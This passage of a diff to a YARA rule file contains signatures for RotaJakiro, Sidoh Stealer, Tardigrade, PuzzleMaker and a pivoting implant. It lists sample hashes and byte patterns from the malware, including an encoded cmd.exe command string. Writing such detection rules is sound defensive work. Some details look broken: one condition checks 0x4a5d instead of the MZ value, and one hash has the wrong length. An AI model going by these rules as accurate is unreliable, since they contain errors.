"https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-04/RAN_Piton_Nov_2021_1.yara#L1-L18" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-10-03/Chimera/APT_Chimera_Sept_2020_1.yar#L1-L23" license_url = "N/A" - logic_hash = "cd8287b3be0f8f9338cf6ba8eb24dd9a6f91a54c984a635e1103f7e6028cbf3c" + logic_hash = "8fdb34c793534f8632fd2c35b89462d4a736a31f2347e7bab3e8bcebff04c21f" score = 75 quality = 75 tags = "FILE" - hash1 = "71936bc3ee40c7ea678889d2ad5fa7eb39401752cd58988ce462f9d4048578ac" - hash2 = "77c7839c7e8d4aaf52e33a2f29db8459381b5cc3b2700072305a8bae5e0762a9" - hash3 = "ae6020a06d2a95cbe91b439f4433e87d198547dec629ab0900ccfe17e729cff1" - tlp = "white" - adversary = "RAAS" + hash1 = "f6d89ff139f4169e8a67332a0fd55b6c9beda0b619b1332ddc07d9a860558bab" strings: - $s1 = { 68 38 3c 40 00 6a 00 68 01 00 1f 00 ff 15 c4 50 41 00 85 c0 75 11 68 58 3c 40 00 6a 00 6a 00 ff 15 98 50 41 00 eb 0a e9 b0 00 00 00 e9 ab 00 00 00 c7 45 a8 00 00 00 00 68 78 3c 40 00 8b 55 c8 52 8b 45 e8 50 e8 86 9b ff ff 83 c4 0c 0f b6 c8 83 f9 01 75 0c 8b 55 a8 52 e8 02 f9 ff ff 83 c4 04 e8 ea 94 ff ff ff 15 04 51 41 00 89 45 c0 83 7d c0 00 74 3f b8 41 00 00 00 66 89 45 f0 eb 0c 66 8b 4d f0 66 83 c1 01 66 89 4d f0 0f b7 55 f0 83 fa 5a 7f 1f 8b 45 c0 83 e0 01 74 } - $s2 = { 68 80 16 40 00 ff 15 38 50 41 00 89 45 f0 68 90 16 40 00 8b 45 f0 50 ff 15 34 50 41 00 89 45 fc 83 7d fc 00 74 07 8d 4d f8 51 ff 55 fc 6a 00 6a 00 68 b0 16 40 00 68 08 17 40 00 68 18 17 40 00 6a 00 ff 15 4c 51 41 00 e8 9d 03 00 00 85 c0 74 2d 68 24 17 40 00 ff 15 38 50 41 00 89 45 ec 68 34 17 40 00 8b 55 ec 52 ff 15 34 50 41 00 89 45 f4 83 7d } - $s3 = { 81 ec f4 02 00 00 c7 85 7c ff ff ff 90 15 40 00 c7 45 80 98 15 40 00 c7 45 84 a0 15 40 00 c7 45 88 a8 15 40 00 c7 45 8c b0 15 40 00 c7 45 90 b8 15 40 00 c7 45 94 c0 15 40 00 c7 45 98 c8 15 40 00 c7 45 9c d0 15 40 00 c7 45 a0 d8 15 40 00 c7 45 a4 e0 15 40 00 c7 45 a8 e8 15 40 00 c7 45 ac f0 15 40 00 c7 45 b0 f8 15 40 00 c7 45 b4 00 16 40 00 c7 45 b8 08 16 40 00 c7 45 bc 10 16 40 00 c7 45 c0 18 16 40 00 c7 45 c4 20 16 40 00 c7 45 c8 28 16 40 00 c7 45 cc 30 16 40 00 c7 45 d0 38 16 40 00 c7 45 d4 40 16 40 00 c7 45 d8 48 16 40 00 c7 45 dc 50 16 40 00 c7 45 e0 58 16 40 00 c7 45 fc 00 00 00 00 c7 45 e4 78 00 00 00 c7 45 e8 00 00 00 00 c7 45 f4 00 00 00 00 eb 09 8b 45 f4 83 c0 01 89 45 f4 83 7d f4 1a 7d 35 8b 4d f4 8b 94 8d 7c ff ff ff 52 ff 15 f8 50 41 00 83 f8 01 75 1d 8b 45 fc 8b 4d f4 8b 94 8d 7c ff ff ff 89 94 85 14 ff ff ff 8b 45 fc 83 c0 01 89 45 fc eb bc b9 02 00 00 00 6b d1 00 33 c0 66 89 84 15 0c fd ff ff 68 00 00 01 00 e8 00 e8 00 00 83 c4 04 89 45 f8 83 7d f8 00 0f 84 d4 00 00 00 68 00 00 01 00 e8 e6 e7 00 00 83 c4 04 89 45 ec 83 7d ec 00 0f 84 ae 00 00 00 68 00 80 00 00 8b 4d f8 51 ff 15 08 51 41 00 89 45 f0 83 7d fc 00 76 63 8d 55 e8 52 8b 45 e4 50 8d 8d 0c fd ff ff 51 8b 55 f8 52 ff 15 f4 50 41 00 85 c0 74 26 8d 85 0c fd ff ff 50 ff 15 40 50 41 00 83 f8 03 75 14 b9 02 00 00 00 6b d1 00 33 c0 66 89 84 15 0c fd ff ff eb 22 8b 4d fc 83 e9 01 89 4d fc 8b 55 f8 52 8b 45 fc 8b 8c 85 14 ff ff ff 51 ff 15 44 50 41 00 eb 02 eb 1b 68 00 80 00 00 8b 55 f8 52 8b 45 f0 50 ff 15 00 51 41 00 85 c0 0f 85 7a ff ff ff 8b 4d f0 51 ff 15 fc 50 41 00 8b 55 } + $header = { 4D 5A 41 52 55 48 89 E5 48 83 EC 20 48 83 E4 F0 E8 00 00 00 00 5B 48 81 C3 EB 18 00 00 FF D3 48 81 C3 00 09 03 00 49 89 D8 6A 04 5A FF D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E8 } + $s1 = "\\\\%s\\pipe\\%s" fullword ascii + $s2 = "%04x-%04x:%s" fullword wide + $core1 = "core_pivot_session_new" fullword ascii + $core2 = "core_pivot_session_died" fullword ascii + $core3 = "core_pivot_remove" fullword ascii + $core4 = "core_pivot_add" fullword ascii + $lib1 = "CreateNamedPipeA" fullword ascii + $lib2 = "ConnectNamedPipe" fullword ascii + $lib3 = "WinHttpGetIEProxyConfigForCurrentUser" fullword ascii + $export = "ReflectiveLoader" fullword ascii condition: - uint16( 0 ) == 0x5a4d and filesize > 30KB and all of them + uint16( 0 ) == 0x4a5d and filesize > 30KB and $header and 1 of ( $s* ) and 2 of ( $core* ) and 2 of ( $lib* ) and $export } +rule ARKBIRD_SOLG_MAL_ELF_Rotajakiro_May_2021_1 : FILE +{ + meta: + description = "Detect the ELF version of RotaJakiro" + author = "Arkbird_SOLG" + id = "a67f9b64-8778-542f-8481-566a4ffaf5e8" + date = "2020-05-07" + modified = "2021-05-08" + reference = "https://blog.netlab.360.com/rotajakiro_linux_version_of_oceanlotus/" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-08/RotaJakiro/MAL_ELF_RotaJakiro_May_2021_1.yara#L1-L21" + license_url = "N/A" + logic_hash = "8e4b9ef8a908a13e738da31b28c879228c3bdc1d8461417b1c1bf31026c98abf" + score = 75 + quality = 75 + tags = "FILE" + hash1 = "0958e1f4c3d14e4de380bda4c5648ab4fa4459ef8f5daaf32bb5f3420217af32" + hash2 = "5d753e72ef89f1cef3b7007df812c7a504727816a7b91ecd75cc9acdfb7e9c2e" + hash3 = "a18bec90b2b6185362eeb67c516c82dd34cd8f6a7423875921572e97ae1668b0" + hash4 = "af2a2be20d7bbec0a9bb4a4dfa898aa18ef4994a9791d7cf37b7b62b379992ac" + hash5 = "d38e8f113c36cfa9e05c4d0d6b526d81b69039430c3b1fc64a08a3445b5a5abe" + tlp = "White" + adversary = "Oceanlotus" -rule ARKBIRD_SOLG_TA505_Bin_21Nov_1 : FILE + strings: + $seq1 = { 41 57 41 56 41 55 41 54 41 89 f5 55 53 49 89 fc 48 83 ec 58 64 48 8b 04 25 28 00 00 00 48 89 44 24 48 31 c0 e8 77 60 ff ff 89 c7 e8 20 60 ff ff 48 8b 58 20 c6 44 24 10 85 48 8d 7c 24 10 c6 44 24 11 2d c6 44 24 12 c5 ba 22 00 00 00 c6 44 24 13 7a c6 44 24 14 02 be 30 00 00 00 c6 44 24 15 58 c6 44 24 16 30 c6 44 24 17 e4 c6 44 24 18 8a c6 44 24 19 37 c6 44 24 1a bd c6 44 24 1b 68 c6 44 24 1c f6 c6 44 24 1d f8 c6 44 24 1e 6c c6 44 24 1f 8c c6 44 24 20 97 c6 44 24 21 cb c6 44 24 22 73 c6 44 24 23 bd c6 44 24 24 7b c6 44 24 25 19 c6 44 24 26 93 c6 44 24 27 a0 c6 44 24 28 26 c6 44 24 29 26 c6 44 24 2a ae c6 44 24 2b 1c c6 44 24 2c 96 c6 44 24 2d 1d c6 44 24 2e 0f c6 44 24 2f be 44 8b 05 b6 7c 21 00 48 8b 0d b7 7c 21 00 c6 44 24 30 b2 c6 44 24 31 7d c6 44 24 32 48 c6 44 24 33 b9 c6 44 24 34 b6 c6 44 24 35 a4 c6 44 24 36 30 c6 44 24 37 43 c6 44 24 38 06 c6 44 24 39 e3 c6 44 24 3a 4f c6 44 24 3b 06 c6 44 24 3c f5 c6 44 24 3d 87 c6 44 24 3e d5 c6 44 24 3f 6a e8 3a 71 ff ff 48 89 df 48 89 c6 48 89 c5 e8 bc 6c ff ff 45 85 ed 48 89 c3 0f 85 a0 00 00 00 48 89 df e8 58 6e ff ff 85 c0 0f 84 30 01 00 00 8b 05 2a 7c 21 00 48 c7 44 24 08 00 00 00 00 48 83 ec 08 c7 44 24 0c 00 00 00 00 4c 8b 0d 16 7c 21 00 ba 2a 00 00 00 4c 89 e6 bf 01 00 00 00 50 4c 8d 44 24 14 48 8d 4c 24 18 e8 b1 71 ff ff 85 c0 5a } + $seq2 = { 41 54 41 b8 08 00 00 00 55 53 b9 00 f3 61 00 ba 42 00 00 00 49 89 fd 49 89 f4 48 83 ec 68 be 50 00 00 00 48 89 e7 c6 04 24 bf c6 44 24 01 cf 64 48 8b 04 25 28 00 00 00 48 89 44 24 58 31 c0 c6 44 24 02 c6 c6 44 24 03 a1 c6 44 24 04 20 c6 44 24 05 76 c6 44 24 06 5d c6 44 24 07 e5 c6 44 24 08 ec c6 44 24 09 87 c6 44 24 0a 45 c6 44 24 0b 26 c6 44 24 0c e1 c6 44 24 0d c8 c6 44 24 0e 8e c6 44 24 0f c0 c6 44 24 10 89 c6 44 24 11 d2 c6 44 24 12 ac c6 44 24 13 c1 c6 44 24 14 01 c6 44 24 15 08 c6 44 24 16 ac c6 44 24 17 8e c6 44 24 18 52 c6 44 24 19 65 c6 44 24 1a c9 c6 44 24 1b 06 c6 44 24 1c be c6 44 24 1d 82 c6 44 24 1e ef c6 44 24 1f 85 c6 44 24 20 9f c6 44 24 21 96 c6 44 24 22 fa c6 44 24 23 65 c6 44 24 24 50 c6 44 24 25 dd c6 44 24 26 0e c6 44 24 27 e0 c6 44 24 28 87 c6 44 24 29 ba c6 44 24 2a 27 c6 44 24 2b f8 c6 44 24 2c ef c6 44 24 2d 5c c6 44 24 2e 60 c6 44 24 2f 07 c6 44 24 30 b1 c6 44 24 31 c5 c6 44 24 32 3d c6 44 24 33 81 c6 44 24 34 df c6 44 24 35 87 c6 44 24 36 64 c6 44 24 37 01 c6 44 24 38 04 c6 44 24 39 9b c6 44 24 3a f9 c6 44 24 3b da c6 44 24 3c 28 c6 44 24 3d f1 c6 44 24 3e 30 c6 44 24 3f cb c6 44 24 40 c8 c6 44 24 41 48 c6 44 24 42 43 c6 44 24 43 e6 c6 44 24 44 e5 c6 44 24 45 f3 c6 44 24 46 c9 c6 44 24 47 8b c6 44 24 48 3c c6 44 24 49 a7 c6 44 24 4a 8b c6 44 24 4b 48 c6 44 24 4c 54 c6 44 24 4d 13 c6 44 24 4e 2b c6 44 24 4f bb e8 a4 aa ff ff bf 00 04 00 00 48 89 c5 e8 77 9a ff ff be 00 04 00 00 48 89 c3 48 89 c7 e8 37 9b ff ff 4c 89 ea 48 } + $seq3 = { 48 8d 7c 24 10 c6 44 24 10 fb c6 44 24 11 d0 64 48 8b 04 25 28 00 00 00 48 89 84 24 08 01 00 00 31 c0 c6 44 24 12 8d c6 44 24 13 ac c6 44 24 14 db c6 44 24 15 79 c6 44 24 16 84 c6 44 24 17 52 c6 44 24 18 44 c6 44 24 19 46 c6 44 24 1a 6c c6 44 24 1b d1 c6 44 24 1c ac c6 44 24 1d 31 c6 44 24 1e ca c6 44 24 1f 18 c6 44 24 20 18 c6 44 24 21 90 c6 44 24 22 ec c6 44 24 23 8f c6 44 24 24 a1 c6 44 24 25 74 c6 44 24 26 a8 c6 44 24 27 9a c6 44 24 28 53 c6 44 24 29 d4 c6 44 24 2a a4 c6 44 24 2b 5b c6 44 24 2c 68 c6 44 24 2d c8 c6 44 24 2e dd c6 44 24 2f a5 e8 18 a9 ff ff 48 89 c7 49 89 c5 e8 4d a6 ff ff 83 f8 01 74 40 31 db 4d 85 ed 74 08 4c 89 ef e8 b9 95 ff ff 48 8b 8c 24 08 01 00 00 64 48 33 } + $seq4 = { ba 15 00 00 00 be 20 00 00 00 c6 44 24 30 b1 c6 44 24 31 be c6 44 24 32 54 c6 44 24 33 93 c6 44 24 34 29 c6 44 24 35 67 c6 44 24 36 1f c6 44 24 37 b5 c6 44 24 38 a5 c6 44 24 39 ec c6 44 24 3a 18 c6 44 24 3b 53 c6 44 24 3c f0 c6 44 24 3d f1 c6 44 24 3e fe c6 44 24 3f 9f c6 44 24 40 27 c6 44 24 41 8f c6 44 24 42 8d c6 44 24 43 77 c6 44 24 44 1e c6 44 24 45 e1 c6 44 24 46 e1 c6 44 24 47 f0 c6 44 24 48 9e c6 44 24 49 e2 c6 44 24 4a 0d c6 44 24 4b 96 c6 44 24 4c ff c6 44 24 4d 6c c6 44 24 4e b4 c6 44 24 4f 16 e8 09 a8 ff ff 4c 89 ef 48 89 c6 49 89 c4 e8 8b a3 ff ff 48 8d bc 24 90 00 00 00 41 b8 08 00 00 00 b9 00 f3 61 00 ba 69 00 00 00 be 70 00 00 00 48 89 04 24 c6 84 24 90 00 00 00 b3 c6 84 24 91 00 00 00 0b c6 84 24 92 00 00 00 18 c6 84 24 93 00 00 00 fd c6 84 24 94 00 00 00 71 c6 84 24 95 00 00 00 3b c6 84 24 96 00 00 00 b7 c6 84 24 97 00 00 00 fc c6 84 24 98 00 00 00 70 c6 84 24 99 00 00 00 18 c6 84 24 9a 00 00 00 f7 c6 84 24 9b 00 00 00 22 c6 84 24 9c 00 00 00 2d c6 84 24 9d 00 00 00 75 c6 84 24 9e 00 00 00 5d c6 84 24 9f 00 00 00 8f c6 84 24 a0 00 00 00 75 c6 84 24 a1 00 00 00 60 c6 84 24 a2 00 00 00 91 c6 84 24 a3 00 00 00 b3 c6 84 24 a4 00 00 00 1a c6 84 24 a5 00 00 00 0b c6 84 24 a6 00 00 00 00 c6 84 24 a7 00 00 00 5c c6 84 24 a8 00 00 00 6b c6 84 24 a9 00 00 00 8d c6 84 24 aa 00 00 00 ee c6 84 24 ab 00 00 00 3b c6 84 24 ac 00 00 00 7e c6 84 24 ad 00 00 00 67 c6 84 24 ae 00 00 00 72 c6 84 24 af 00 00 00 43 c6 84 24 b0 00 00 00 f6 c6 84 24 b1 00 00 00 14 c6 84 24 b2 00 00 00 32 c6 84 24 b3 00 00 00 c1 c6 84 24 b4 00 00 00 79 c6 84 24 b5 00 00 00 0d c6 84 24 b6 00 00 00 0d c6 84 24 b7 00 00 00 22 c6 84 24 b8 00 00 00 e1 c6 84 24 b9 00 00 00 bd c6 84 24 ba 00 00 00 3f c6 84 24 bb 00 00 00 82 c6 84 24 bc 00 00 00 dd c6 84 24 bd 00 00 00 23 c6 84 24 be 00 00 00 7d c6 84 24 bf 00 00 00 87 c6 84 24 c0 00 00 00 34 c6 84 24 c1 00 00 00 9d c6 84 24 c2 00 00 00 43 c6 84 24 c3 00 00 00 98 c6 84 24 c4 00 00 00 da c6 84 24 c5 00 00 00 e0 c6 84 24 c6 00 00 00 3d c6 84 24 c7 00 00 00 64 c6 84 24 c8 00 00 00 1a c6 84 24 c9 00 00 00 d7 c6 84 24 ca 00 00 00 f5 c6 84 24 cb 00 00 00 5a c6 84 24 cc 00 00 00 c3 c6 84 24 cd 00 00 00 9c c6 84 24 ce 00 00 00 97 c6 84 24 cf 00 00 00 c7 c6 84 24 d0 00 00 00 65 c6 84 24 d1 00 00 00 8f c6 84 24 d2 00 00 00 99 c6 84 24 d3 00 00 00 eb c6 84 24 d4 00 00 00 2f c6 84 24 d5 00 00 00 2b c6 84 24 d6 00 00 00 d0 c6 84 24 d7 00 00 00 d9 c6 84 24 d8 00 00 00 4e c6 84 24 d9 00 00 00 8f c6 84 24 da 00 00 00 7b c6 84 24 db 00 00 00 97 c6 84 24 dc 00 00 00 3b c6 84 24 dd 00 00 00 14 c6 84 24 de 00 00 00 e9 c6 84 24 df 00 00 00 e9 c6 84 24 e0 00 00 00 82 c6 84 24 e1 00 00 00 48 c6 84 24 e2 00 00 00 dc c6 84 24 e3 00 00 00 a3 c6 84 24 e4 00 00 00 75 c6 84 24 e5 00 00 00 ca c6 84 24 e6 00 00 00 e6 c6 84 24 e7 00 00 00 40 c6 84 24 e8 00 00 00 6b c6 84 24 e9 00 00 00 b1 c6 84 24 ea 00 00 00 68 c6 84 24 eb 00 00 00 42 c6 84 24 ec 00 00 00 56 c6 84 24 ed 00 00 00 b4 c6 84 24 ee 00 00 00 ac c6 84 24 ef 00 00 00 2a c6 84 24 f0 00 00 00 fc c6 84 24 f1 00 00 00 34 c6 84 24 f2 00 00 00 fa c6 84 24 f3 00 00 00 1d c6 84 24 f4 00 00 00 1b c6 84 24 f5 00 00 00 9a c6 84 24 f6 00 00 00 62 c6 84 24 f7 00 00 00 b3 c6 84 24 f8 00 00 00 39 c6 84 24 f9 00 00 00 6a c6 84 24 fa 00 00 00 19 c6 84 24 fb 00 00 00 1b c6 84 24 fc 00 00 00 f3 c6 84 24 fd 00 00 00 c5 c6 84 24 fe 00 00 00 d2 c6 84 24 ff 00 00 00 6a e8 55 a4 ff ff 48 89 c7 48 89 c5 e8 4a 92 ff ff 44 8d 7c 03 0a 4d 63 ff 4c 89 ff e8 1a 94 ff ff 4c 89 fe 48 89 c3 48 89 c7 e8 dc 94 ff ff 4c 89 f2 48 89 ee 48 89 df 31 c0 e8 2c 95 ff ff 48 89 da 8b 0a 48 83 c2 04 8d 81 ff fe fe fe f7 d1 21 c8 25 80 80 80 80 74 e9 89 c1 4c 8b 3c 24 48 89 de c1 e9 10 a9 80 80 00 00 0f 44 c1 48 8d 4a 02 4c 89 ff 48 0f 44 d1 89 c1 00 c1 48 83 da 03 48 29 da e8 93 a8 ff ff 4c 89 ff be ed 01 00 00 4c 89 3c 24 e8 d2 aa ff ff 48 8d 44 24 50 41 b8 08 00 00 00 b9 00 f3 61 00 ba 34 00 00 00 be 40 00 00 00 c6 44 24 50 c6 48 89 c7 c6 44 24 51 3b c6 44 24 52 16 c6 44 24 53 01 c6 44 24 54 92 c6 44 24 55 36 c6 44 24 56 81 c6 44 24 57 c8 c6 44 24 58 f3 c6 44 24 59 49 c6 44 24 5a a8 c6 44 24 5b 02 c6 44 24 5c 6f c6 44 24 5d 9d c6 44 24 5e db c6 44 24 5f 61 c6 44 24 60 8a c6 44 24 61 e3 c6 44 24 62 f4 c6 44 24 63 1b c6 44 24 64 33 c6 44 24 65 4d c6 44 24 66 b4 c6 44 24 67 00 c6 44 24 68 f4 c6 44 24 69 76 c6 44 24 6a 70 c6 44 24 6b 56 c6 44 24 6c e2 c6 44 24 6d f3 c6 44 24 6e 5c c6 44 24 6f 73 c6 44 24 70 06 c6 44 24 71 de c6 44 24 72 c5 c6 44 24 73 fa c6 44 24 74 4c c6 44 24 75 7b c6 44 24 76 34 c6 44 24 77 b9 c6 44 24 78 d3 c6 44 24 79 a6 c6 44 24 7a 9b c6 44 24 7b 03 c6 44 24 7c f7 c6 44 24 7d 8e c6 44 24 7e 37 c6 44 24 7f 6a c6 84 24 80 00 00 00 3a c6 84 24 81 00 00 00 97 c6 84 24 82 00 00 00 57 c6 84 24 83 00 00 00 25 c6 84 24 84 00 00 00 2c c6 84 24 85 00 00 00 ac c6 84 24 86 00 00 00 a6 c6 84 24 87 00 00 00 de c6 84 24 88 00 00 00 29 c6 84 24 89 00 00 00 ca c6 84 24 8a 00 00 00 c0 c6 84 24 8b 00 00 00 93 c6 84 24 8c 00 00 00 67 c6 84 24 8d 00 00 00 47 c6 84 24 8e 00 00 00 8d c6 84 24 8f 00 00 00 } + + condition: + uint32( 0 ) == 0x464c457f and filesize > 10KB and 3 of ( $seq* ) +} +rule ARKBIRD_SOLG_MAL_Sidoh_Stealer_Aug_2021_1 : FILE { meta: - description = "module1.bin" + description = "Detect Sidoh Stealer used by RYUK group" author = "Arkbird_SOLG" - id = "2f23653e-5158-5a64-86ee-a58048780661" - date = "2019-11-21" - modified = "2019-11-21" - reference = "https://twitter.com/58_158_177_102/status/1197432303057637377" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/20-11-19/Yara_Rule_TA505_Nov19.yar#L3-L30" + id = "b4661304-6dfa-5c33-95f2-8694271b9e58" + date = "2021-08-31" + modified = "2021-09-01" + reference = "https://www.crowdstrike.com/blog/sidoh-wizard-spiders-mysterious-exfiltration-tool/" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-31/Sidoh/MAL_Sidoh_Stealer_Aug_2021_1.yara#L1-L22" license_url = "N/A" - logic_hash = "133f202300a9e0428d20ce76bc832cf45cb5dacb05e39c21130d8d5cc39446ba" + logic_hash = "baeea14c6be42d64d3ca68298bf6ced34c9587fcda91471945cfc7ed1fe267bd" score = 75 quality = 75 tags = "FILE" - hash1 = "bfe610790d41091c37ae627472f5f8886357e713945ca8a5e2b56cd6c791f989" + hash1 = "a1ce52437252001b56c9ccd2d2da46240dc38db8074a5ed39a396e8c8e387fc2" + hash2 = "c64269a64b64b20108df89c4f1a415936c9d9923f8761d0667aa8492aa057acb" + hash3 = "e6762cb7d09cd90d5469e3c3bfc3b47979cd67aa06c06e893015a87b0348c32c" + hash4 = "cc4a0b4080844e20fb9535679f7b09a3e2449729ce1815d1e5a64272b0225465" + tlp = "White" + adversary = "RYUK (RAAS)" strings: - $s1 = "intc.dll" fullword ascii - $s2 = "?%?2?7?=?" fullword ascii - $s3 = "Is c++ not java" fullword ascii - $s4 = "4%5K5e5l5p5t5x5|5" fullword ascii - $s5 = "KdaMt$" fullword ascii - $s6 = ";*;9;Z;`;" fullword ascii - $s7 = "<*<4<?<I<S<Y<" fullword ascii - $s8 = "0'040A0K0U0]0k0" fullword ascii - $s9 = "3 3(30363>3M3_3" fullword ascii - $s10 = ": :9:A:F:R:W:t:z:" fullword ascii - $s11 = "5'5,585@5H5P5f5n5v5~5" fullword ascii - $s12 = "<,<2<:<@<h<n<" fullword ascii - $s13 = "8+808:8T8b8j8p8" fullword ascii - $s14 = "8!9<9K9g9o9z9" fullword ascii - $s15 = ">(>6>D>N>U>f>p>" fullword ascii - $s16 = ":!:,:>:J:X:^:c:i:v:" fullword ascii + $s1 = { 68 88 13 00 00 ff 15 ?? 30 41 00 ff 76 04 ff 15 ?? 30 41 00 68 10 27 00 00 53 68 ?? f6 41 00 e8 ?? ?? 00 00 83 c4 0c ff 15 ?? 30 41 00 8b f8 8b f3 8b d7 8b ce d3 ea f6 c2 01 74 34 8d 46 41 6a 3a 66 a3 ?? f6 41 00 58 66 a3 ?? f6 41 00 33 c0 68 ?? f6 41 00 66 a3 ?? f6 41 00 ff 15 ?? 30 41 00 83 f8 05 74 0a b9 ?? f6 41 00 e8 ?? ?? 00 00 46 83 fe 1a 7c bb 68 10 27 00 00 53 68 ?? f6 41 00 e8 ?? ?? 00 00 8b 3d ?? 30 41 00 8d 44 24 28 83 c4 0c 89 5c 24 1c 6a 01 50 53 ff d7 8b 35 ?? 30 41 00 6a 04 68 00 10 00 00 ff 74 24 24 53 ff d6 8b d8 8d 44 24 1c 6a 01 50 53 89 5c 24 30 ff d7 6b 0b 18 6a 04 68 00 10 00 00 51 33 c9 51 ff d6 68 00 40 00 00 6a 40 89 44 24 38 ff 15 ?? 30 41 00 33 f6 89 44 24 2c 89 74 24 } + $s2 = { 8b ca c1 e9 02 f3 a5 8b ca 83 e1 03 f3 a4 33 f6 56 56 56 6a 01 56 ff 15 ?? 31 41 00 a3 ?? ?? 42 00 8b fe 85 c0 74 4e 56 68 00 00 00 08 6a 01 68 ?? ?? 41 00 68 ?? ec 41 00 6a 15 ff 75 f8 50 ff 15 ?? 31 41 00 8b f8 85 ff 74 42 56 6a 02 8d 85 f0 fc ff ff 50 53 57 ff 15 ?? 31 41 00 85 c0 75 0f ff 15 ?? 30 41 00 8b d8 a1 ?? ?? 42 00 eb 08 a1 ?? ?? 42 00 33 db 43 8b 35 ?? 31 41 00 50 ff d6 57 ff d6 8b c3 5f 5e 5b 8b e5 } + $s3 = { 55 8b ec 83 ec 58 53 8b 1d ?? 30 41 00 56 57 6a 04 68 00 10 00 00 6a 02 6a 00 89 55 f0 8b f1 ff d3 8b f8 85 ff 75 08 83 c8 ff e9 0f 01 00 00 56 68 ?? ?? 41 00 57 e8 93 ff ff ff 83 65 f8 00 8d 45 f8 50 6a 00 57 ff 15 ?? 31 41 00 83 c4 18 8b f0 83 7d f8 00 89 75 f4 74 04 6a fd eb 33 83 65 ac 00 8d 45 ac 50 ff 15 ?? 31 41 00 8d 45 ac 50 6a 00 68 ?? ?? 41 00 56 ff 15 ?? 31 41 00 83 c4 14 83 7d c8 00 77 10 72 06 } + $s4 = { 6a 04 68 00 10 00 00 ff 75 c4 6a 00 ff d3 8b d8 85 db 75 1a 68 00 80 00 00 50 57 ff 15 ?? 30 41 00 56 ff 15 ?? 31 41 00 59 6a fb 58 eb 79 6a 00 68 ?? ?? 41 00 56 ff 15 ?? 31 41 00 ff 75 c8 8b f0 ff 75 c4 53 56 ff 15 ?? 31 41 00 56 ff 15 ?? 31 41 00 ff 75 f4 ff 15 ?? 31 41 00 ff 75 08 8b 55 c4 8b cb ff 75 f0 e8 3b 02 00 00 8b f0 83 c4 2c 85 f6 75 14 83 7d 08 05 75 0e 8b 55 c4 51 8b cb e8 b3 09 00 00 59 8b f0 68 00 80 00 00 6a 00 53 ff 15 ?? 30 41 00 68 00 80 00 00 6a 00 57 ff 15 ?? 30 41 00 8b c6 5f 5e 5b 8b e5 } condition: - uint16( 0 ) == 0x5a4d and filesize < 900KB and ( pe.imphash ( ) == "642f4619fb2d93cb205c65c2546516ca" and pe.exports ( "intc" ) or 8 of them ) + uint16( 0 ) == 0x5A4D and filesize > 20KB and all of ( $s* ) } +rule ARKBIRD_SOLG_APT_Tardigrade_Nov_2021_1 : FILE +{ + meta: + description = "Detect Tardigrade loader" + author = "Arkbird_SOLG" + id = "f6c8014a-21dd-5ebd-9edd-7a9f649a43a0" + date = "2021-11-22" + modified = "2021-11-23" + reference = "https://www.isac.bio/post/tardigrade" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-22/APT_Tardigrade_Nov_2021_1.yara#L1-L19" + license_url = "N/A" + logic_hash = "98358d9dbf62e653b136268d8694ed4d7f48c80125dd12ccea5f36ff5c6b4a3c" + score = 75 + quality = 75 + tags = "FILE" + hash1 = "1c7c1a28921d81f672320e81ad58642ef3b8e27abf8a8e51400b98b40f49568be" + hash2 = "c0976a1fbc3dd938f1d2996a888d0b3a516b432a2c38d788831553d81e2f5858" + hash3 = "cf88926b7d5a5ebbd563d0241aaf83718b77cec56da66bdf234295cc5a91c5fe" + tlp = "white" + adversary = "Tardigrade" -rule ARKBIRD_SOLG_TA505_Bin_21Nov_2 : FILE + strings: + $s1 = { 63 6d 64 2e 65 78 65 20 2f 63 20 65 63 68 6f 20 [10-40] 3e 22 25 73 22 26 65 78 69 74 } + $s2 = { 4c 89 44 24 38 89 54 24 34 48 89 4c 24 28 e8 [2] 01 00 e8 [2] 01 00 4c 8b 44 24 38 8b 54 24 34 48 8b 4c 24 28 48 83 c4 48 e9 71 fe ff ff 90 48 89 ca 48 8d 0d 76 ?? 02 00 } + $s3 = { 41 57 41 56 41 55 41 54 55 57 56 53 48 ?? ec [1-4] 48 8b 84 24 ?? 00 00 00 48 89 44 24 60 48 8b 05 [2] 01 00 48 89 4c 24 40 ?? 38 } + $s4 = { 45 31 c0 48 8d 8c 24 ?? 02 00 00 4c 8d 8c 24 ?? 01 00 00 48 8d 15 [2] 01 00 ff 15 [2] 02 00 } + + condition: + uint16( 0 ) == 0x5a4d and filesize > 50KB and all of them +} +rule ARKBIRD_SOLG_APT_Puzzlemaker_Implant_Jun_2021_1 : FILE { meta: - description = "vspub1.bin" + description = "Detect the implant of the PuzzleMaker group" author = "Arkbird_SOLG" - id = "2bbd1d3a-50ab-5c6a-97fe-60b5a86e8d18" - date = "2019-11-21" - modified = "2019-11-21" - reference = "https://twitter.com/58_158_177_102/status/1197432303057637377" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/20-11-19/Yara_Rule_TA505_Nov19.yar#L32-L50" + id = "9387130c-4474-55bf-9736-09494a5e81b8" + date = "2021-06-10" + modified = "2021-11-01" + reference = "https://securelist.com/puzzlemaker-chrome-zero-day-exploit-chain/102771/" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-09/PuzzleMaker/APT_PuzzleMaker_Implant_Jun_2021_1.yara#L1-L21" license_url = "N/A" - logic_hash = "43fb83abdeb1a31da836b4cf99dcda269f6d005cbb8eb2d845498d2c589574e1" + logic_hash = "e54eaaa76b2d370a27a232dee2299266f8b3b82d53da36e35c2a6fcdd7d5b1f7" score = 75 quality = 75 tags = "FILE" - hash1 = "54cc27076793d5de064813c61d52452d42f774d24b3859a63002d842914fd9cd" + hash1 = "8a17279ba26c8fbe6966ea3300fdefb1adae1b3ed68f76a7fc81413bd8c1a5f6" + hash2 = "1ee9bb4e8bcabe197399b654dbf940438b120af1c376719ff9bdccf2bb1dc606" + hash3 = 